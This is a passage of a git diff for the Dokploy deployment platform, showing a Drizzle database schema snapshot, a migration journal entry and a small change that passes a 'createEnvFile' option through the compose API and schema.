+ "primaryKey": false,
+ "notNull": false
+ },
+ "ipAddress": {
+ "name": "ipAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "port": {
+ "name": "port",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'root'"
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enableDockerCleanup": {
+ "name": "enableDockerCleanup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "buildsConcurrency": {
+ "name": "buildsConcurrency",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverStatus": {
+ "name": "serverStatus",
+ "type": "serverStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'active'"
+ },
+ "serverType": {
+ "name": "serverType",
+ "type": "serverType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'deploy'"
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "sshKeyId": {
+ "name": "sshKeyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metricsConfig": {
+ "name": "metricsConfig",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{\"server\":{\"type\":\"Remote\",\"refreshRate\":60,\"port\":4500,\"token\":\"\",\"urlCallback\":\"\",\"cronJob\":\"\",\"retentionDays\":2,\"thresholds\":{\"cpu\":0,\"memory\":0}},\"containers\":{\"refreshRate\":60,\"services\":{\"include\":[],\"exclude\":[]}}}'::jsonb"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "server_organizationId_organization_id_fk": {
+ "name": "server_organizationId_organization_id_fk",
+ "tableFrom": "server",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "server_sshKeyId_ssh-key_sshKeyId_fk": {
+ "name": "server_sshKeyId_ssh-key_sshKeyId_fk",
+ "tableFrom": "server",
+ "tableTo": "ssh-key",
+ "columnsFrom": [
+ "sshKeyId"
+ ],
+ "columnsTo": [
+ "sshKeyId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.session": {
+ "name": "session",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "token": {
+ "name": "token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "ip_address": {
+ "name": "ip_address",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_agent": {
+ "name": "user_agent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "impersonated_by": {
+ "name": "impersonated_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "active_organization_id": {
+ "name": "active_organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "session_user_id_user_id_fk": {
+ "name": "session_user_id_user_id_fk",
+ "tableFrom": "session",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "session_token_unique": {
+ "name": "session_token_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ssh-key": {
+ "name": "ssh-key",
+ "schema": "",
+ "columns": {
+ "sshKeyId": {
+ "name": "sshKeyId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "privateKey": {
+ "name": "privateKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "publicKey": {
+ "name": "publicKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "lastUsedAt": {
+ "name": "lastUsedAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "ssh-key_organizationId_organization_id_fk": {
+ "name": "ssh-key_organizationId_organization_id_fk",
+ "tableFrom": "ssh-key",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.sso_provider": {
+ "name": "sso_provider",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "issuer": {
+ "name": "issuer",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "oidc_config": {
+ "name": "oidc_config",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "saml_config": {
+ "name": "saml_config",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "provider_id": {
+ "name": "provider_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "domain": {
+ "name": "domain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "sso_provider_user_id_user_id_fk": {
+ "name": "sso_provider_user_id_user_id_fk",
+ "tableFrom": "sso_provider",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "sso_provider_organization_id_organization_id_fk": {
+ "name": "sso_provider_organization_id_organization_id_fk",
+ "tableFrom": "sso_provider",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "sso_provider_provider_id_unique": {
+ "name": "sso_provider_provider_id_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "provider_id"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.project_tag": {
+ "name": "project_tag",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "projectId": {
+ "name": "projectId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tagId": {
+ "name": "tagId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "project_tag_projectId_project_projectId_fk": {
+ "name": "project_tag_projectId_project_projectId_fk",
+ "tableFrom": "project_tag",
+ "tableTo": "project",
+ "columnsFrom": [
+ "projectId"
+ ],
+ "columnsTo": [
+ "projectId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "project_tag_tagId_tag_tagId_fk": {
+ "name": "project_tag_tagId_tag_tagId_fk",
+ "tableFrom": "project_tag",
+ "tableTo": "tag",
+ "columnsFrom": [
+ "tagId"
+ ],
+ "columnsTo": [
+ "tagId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "unique_project_tag": {
+ "name": "unique_project_tag",
+ "nullsNotDistinct": false,
+ "columns": [
+ "projectId",
+ "tagId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.tag": {
+ "name": "tag",
+ "schema": "",
+ "columns": {
+ "tagId": {
+ "name": "tagId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "color": {
+ "name": "color",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "tag_organizationId_organization_id_fk": {
+ "name": "tag_organizationId_organization_id_fk",
+ "tableFrom": "tag",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "unique_org_tag_name": {
+ "name": "unique_org_tag_name",
+ "nullsNotDistinct": false,
+ "columns": [
+ "organizationId",
+ "name"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user": {
+ "name": "user",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "firstName": {
+ "name": "firstName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "lastName": {
+ "name": "lastName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "isRegistered": {
+ "name": "isRegistered",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "expirationDate": {
+ "name": "expirationDate",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "now()"
+ },
+ "two_factor_enabled": {
+ "name": "two_factor_enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email_verified": {
+ "name": "email_verified",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "image": {
+ "name": "image",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "banned": {
+ "name": "banned",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ban_reason": {
+ "name": "ban_reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ban_expires": {
+ "name": "ban_expires",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'user'"
+ },
+ "enablePaidFeatures": {
+ "name": "enablePaidFeatures",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "allowImpersonation": {
+ "name": "allowImpersonation",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "enableEnterpriseFeatures": {
+ "name": "enableEnterpriseFeatures",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "licenseKey": {
+ "name": "licenseKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isValidEnterpriseLicense": {
+ "name": "isValidEnterpriseLicense",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "stripeCustomerId": {
+ "name": "stripeCustomerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stripeSubscriptionId": {
+ "name": "stripeSubscriptionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serversQuantity": {
+ "name": "serversQuantity",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "sendInvoiceNotifications": {
+ "name": "sendInvoiceNotifications",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "isEnterpriseCloud": {
+ "name": "isEnterpriseCloud",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "trustedOrigins": {
+ "name": "trustedOrigins",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bookmarkedTemplates": {
+ "name": "bookmarkedTemplates",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "ARRAY[]::text[]"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "user_email_unique": {
+ "name": "user_email_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "email"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.volume_backup": {
+ "name": "volume_backup",
+ "schema": "",
+ "columns": {
+ "volumeBackupId": {
+ "name": "volumeBackupId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "volumeName": {
+ "name": "volumeName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "prefix": {
+ "name": "prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serviceType": {
+ "name": "serviceType",
+ "type": "serviceType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'application'"
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serviceName": {
+ "name": "serviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "turnOff": {
+ "name": "turnOff",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "cronExpression": {
+ "name": "cronExpression",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "keepLatestCount": {
+ "name": "keepLatestCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "postgresId": {
+ "name": "postgresId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mariadbId": {
+ "name": "mariadbId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mongoId": {
+ "name": "mongoId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mysqlId": {
+ "name": "mysqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redisId": {
+ "name": "redisId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "libsqlId": {
+ "name": "libsqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "destinationId": {
+ "name": "destinationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "volume_backup_applicationId_application_applicationId_fk": {
+ "name": "volume_backup_applicationId_application_applicationId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_postgresId_postgres_postgresId_fk": {
+ "name": "volume_backup_postgresId_postgres_postgresId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "postgres",
+ "columnsFrom": [
+ "postgresId"
+ ],
+ "columnsTo": [
+ "postgresId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_mariadbId_mariadb_mariadbId_fk": {
+ "name": "volume_backup_mariadbId_mariadb_mariadbId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "mariadb",
+ "columnsFrom": [
+ "mariadbId"
+ ],
+ "columnsTo": [
+ "mariadbId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_mongoId_mongo_mongoId_fk": {
+ "name": "volume_backup_mongoId_mongo_mongoId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "mongo",
+ "columnsFrom": [
+ "mongoId"
+ ],
+ "columnsTo": [
+ "mongoId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_mysqlId_mysql_mysqlId_fk": {
+ "name": "volume_backup_mysqlId_mysql_mysqlId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "mysql",
+ "columnsFrom": [
+ "mysqlId"
+ ],
+ "columnsTo": [
+ "mysqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_redisId_redis_redisId_fk": {
+ "name": "volume_backup_redisId_redis_redisId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "redis",
+ "columnsFrom": [
+ "redisId"
+ ],
+ "columnsTo": [
+ "redisId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_libsqlId_libsql_libsqlId_fk": {
+ "name": "volume_backup_libsqlId_libsql_libsqlId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "libsql",
+ "columnsFrom": [
+ "libsqlId"
+ ],
+ "columnsTo": [
+ "libsqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_composeId_compose_composeId_fk": {
+ "name": "volume_backup_composeId_compose_composeId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_destinationId_destination_destinationId_fk": {
+ "name": "volume_backup_destinationId_destination_destinationId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "destination",
+ "columnsFrom": [
+ "destinationId"
+ ],
+ "columnsTo": [
+ "destinationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.webServerSettings": {
+ "name": "webServerSettings",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "serverIp": {
+ "name": "serverIp",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "certificateType": {
+ "name": "certificateType",
+ "type": "certificateType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'none'"
+ },
+ "https": {
+ "name": "https",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "host": {
+ "name": "host",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "letsEncryptEmail": {
+ "name": "letsEncryptEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sshPrivateKey": {
+ "name": "sshPrivateKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enableDockerCleanup": {
+ "name": "enableDockerCleanup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "logCleanupCron": {
+ "name": "logCleanupCron",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'0 0 * * *'"
+ },
+ "metricsConfig": {
+ "name": "metricsConfig",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{\"server\":{\"type\":\"Dokploy\",\"refreshRate\":60,\"port\":4500,\"token\":\"\",\"retentionDays\":2,\"cronJob\":\"\",\"urlCallback\":\"\",\"thresholds\":{\"cpu\":0,\"memory\":0}},\"containers\":{\"refreshRate\":60,\"services\":{\"include\":[],\"exclude\":[]}}}'::jsonb"
+ },
+ "whitelabelingConfig": {
+ "name": "whitelabelingConfig",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{\"appName\":null,\"appDescription\":null,\"logoUrl\":null,\"faviconUrl\":null,\"customCss\":null,\"loginLogoUrl\":null,\"supportUrl\":null,\"docsUrl\":null,\"errorPageTitle\":null,\"errorPageDescription\":null,\"metaTitle\":null,\"footerText\":null}'::jsonb"
+ },
+ "remoteServersOnly": {
+ "name": "remoteServersOnly",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "buildsConcurrency": {
+ "name": "buildsConcurrency",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "enforceSSO": {
+ "name": "enforceSSO",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "cleanupCacheApplications": {
+ "name": "cleanupCacheApplications",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "cleanupCacheOnPreviews": {
+ "name": "cleanupCacheOnPreviews",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "cleanupCacheOnCompose": {
+ "name": "cleanupCacheOnCompose",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ }
+ },
+ "enums": {
+ "public.buildType": {
+ "name": "buildType",
+ "schema": "public",
+ "values": [
+ "dockerfile",
+ "heroku_buildpacks",
+ "paketo_buildpacks",
+ "nixpacks",
+ "static",
+ "railpack"
+ ]
+ },
+ "public.sourceType": {
+ "name": "sourceType",
+ "schema": "public",
+ "values": [
+ "docker",
+ "git",
+ "github",
+ "gitlab",
+ "bitbucket",
+ "gitea",
+ "drop"
+ ]
+ },
+ "public.backupType": {
+ "name": "backupType",
+ "schema": "public",
+ "values": [
+ "database",
+ "compose"
+ ]
+ },
+ "public.databaseType": {
+ "name": "databaseType",
+ "schema": "public",
+ "values": [
+ "postgres",
+ "mariadb",
+ "mysql",
+ "mongo",
+ "web-server",
+ "libsql"
+ ]
+ },
+ "public.composeType": {
+ "name": "composeType",
+ "schema": "public",
+ "values": [
+ "docker-compose",
+ "stack"
+ ]
+ },
+ "public.sourceTypeCompose": {
+ "name": "sourceTypeCompose",
+ "schema": "public",
+ "values": [
+ "git",
+ "github",
+ "gitlab",
+ "bitbucket",
+ "gitea",
+ "raw"
+ ]
+ },
+ "public.deploymentStatus": {
+ "name": "deploymentStatus",
+ "schema": "public",
+ "values": [
+ "running",
+ "done",
+ "error",
+ "cancelled"
+ ]
+ },
+ "public.domainType": {
+ "name": "domainType",
+ "schema": "public",
+ "values": [
+ "compose",
+ "application",
+ "preview"
+ ]
+ },
+ "public.gitProviderType": {
+ "name": "gitProviderType",
+ "schema": "public",
+ "values": [
+ "github",
+ "gitlab",
+ "bitbucket",
+ "gitea"
+ ]
+ },
+ "public.mountType": {
+ "name": "mountType",
+ "schema": "public",
+ "values": [
+ "bind",
+ "volume",
+ "file"
+ ]
+ },
+ "public.serviceType": {
+ "name": "serviceType",
+ "schema": "public",
+ "values": [
+ "application",
+ "postgres",
+ "mysql",
+ "mariadb",
+ "mongo",
+ "redis",
+ "compose",
+ "libsql"
+ ]
+ },
+ "public.networkDriver": {
+ "name": "networkDriver",
+ "schema": "public",
+ "values": [
+ "bridge",
+ "overlay"
+ ]
+ },
+ "public.notificationType": {
+ "name": "notificationType",
+ "schema": "public",
+ "values": [
+ "slack",
+ "telegram",
+ "discord",
+ "email",
+ "resend",
+ "gotify",
+ "ntfy",
+ "mattermost",
+ "pushover",
+ "custom",
+ "lark",
+ "teams"
+ ]
+ },
+ "public.patchType": {
+ "name": "patchType",
+ "schema": "public",
+ "values": [
+ "create",
+ "update",
+ "delete"
+ ]
+ },
+ "public.protocolType": {
+ "name": "protocolType",
+ "schema": "public",
+ "values": [
+ "tcp",
+ "udp"
+ ]
+ },
+ "public.publishModeType": {
+ "name": "publishModeType",
+ "schema": "public",
+ "values": [
+ "ingress",
+ "host"
+ ]
+ },
+ "public.RegistryType": {
+ "name": "RegistryType",
+ "schema": "public",
+ "values": [
+ "selfHosted",
+ "cloud"
+ ]
+ },
+ "public.scheduleType": {
+ "name": "scheduleType",
+ "schema": "public",
+ "values": [
+ "application",
+ "compose",
+ "server",
+ "dokploy-server"
+ ]
+ },
+ "public.shellType": {
+ "name": "shellType",
+ "schema": "public",
+ "values": [
+ "bash",
+ "sh"
+ ]
+ },
+ "public.serverStatus": {
+ "name": "serverStatus",
+ "schema": "public",
+ "values": [
+ "active",
+ "inactive"
+ ]
+ },
+ "public.serverType": {
+ "name": "serverType",
+ "schema": "public",
+ "values": [
+ "deploy",
+ "build"
+ ]
+ },
+ "public.applicationStatus": {
+ "name": "applicationStatus",
+ "schema": "public",
+ "values": [
+ "idle",
+ "running",
+ "done",
+ "error"
+ ]
+ },
+ "public.certificateType": {
+ "name": "certificateType",
+ "schema": "public",
+ "values": [
+ "letsencrypt",
+ "none",
+ "custom"
+ ]
+ },
+ "public.sqldNode": {
+ "name": "sqldNode",
+ "schema": "public",
+ "values": [
+ "primary",
+ "replica"
+ ]
+ },
+ "public.triggerType": {
+ "name": "triggerType",
+ "schema": "public",
+ "values": [
+ "push",
+ "tag"
+ ]
+ }
+ },
+ "schemas": {},
+ "sequences": {},
+ "roles": {},
+ "policies": {},
+ "views": {},
+ "_meta": {
+ "columns": {},
+ "schemas": {},
+ "tables": {}
+ }
+}
\ No newline at end of file
diff --git a/apps/dokploy/drizzle/meta/_journal.json b/apps/dokploy/drizzle/meta/_journal.json
index 73cd865c9..5f9df4e29 100644
--- a/apps/dokploy/drizzle/meta/_journal.json
+++ b/apps/dokploy/drizzle/meta/_journal.json
@@ -1261,6 +1261,13 @@
"when": 1785800152143,
"tag": "0179_foamy_marauders",
"breakpoints": true
+ },
+ {
+ "idx": 180,
+ "version": "7",
+ "when": 1786132623336,
+ "tag": "0180_slippery_norrin_radd",
+ "breakpoints": true
}
]
}
\ No newline at end of file
diff --git a/apps/dokploy/server/api/routers/compose.ts b/apps/dokploy/server/api/routers/compose.ts
index 24c8dee1a..50614c7ef 100644
--- a/apps/dokploy/server/api/routers/compose.ts
+++ b/apps/dokploy/server/api/routers/compose.ts
@@ -212,6 +212,7 @@ export const composeRouter = createTRPCRouter({
});
const updated = await updateCompose(input.composeId, {
env: input.env,
+ createEnvFile: input.createEnvFile,
});
if (!updated) {
diff --git a/packages/server/src/db/schema/compose.ts b/packages/server/src/db/schema/compose.ts
index 495048d18..ee4f248c5 100644
--- a/packages/server/src/db/schema/compose.ts
+++ b/packages/server/src/db/schema/compose.ts
@@ -87,6 +87,7 @@ export const compose = pgTable("compose", {
),
command: text("command").notNull().default(""),
//
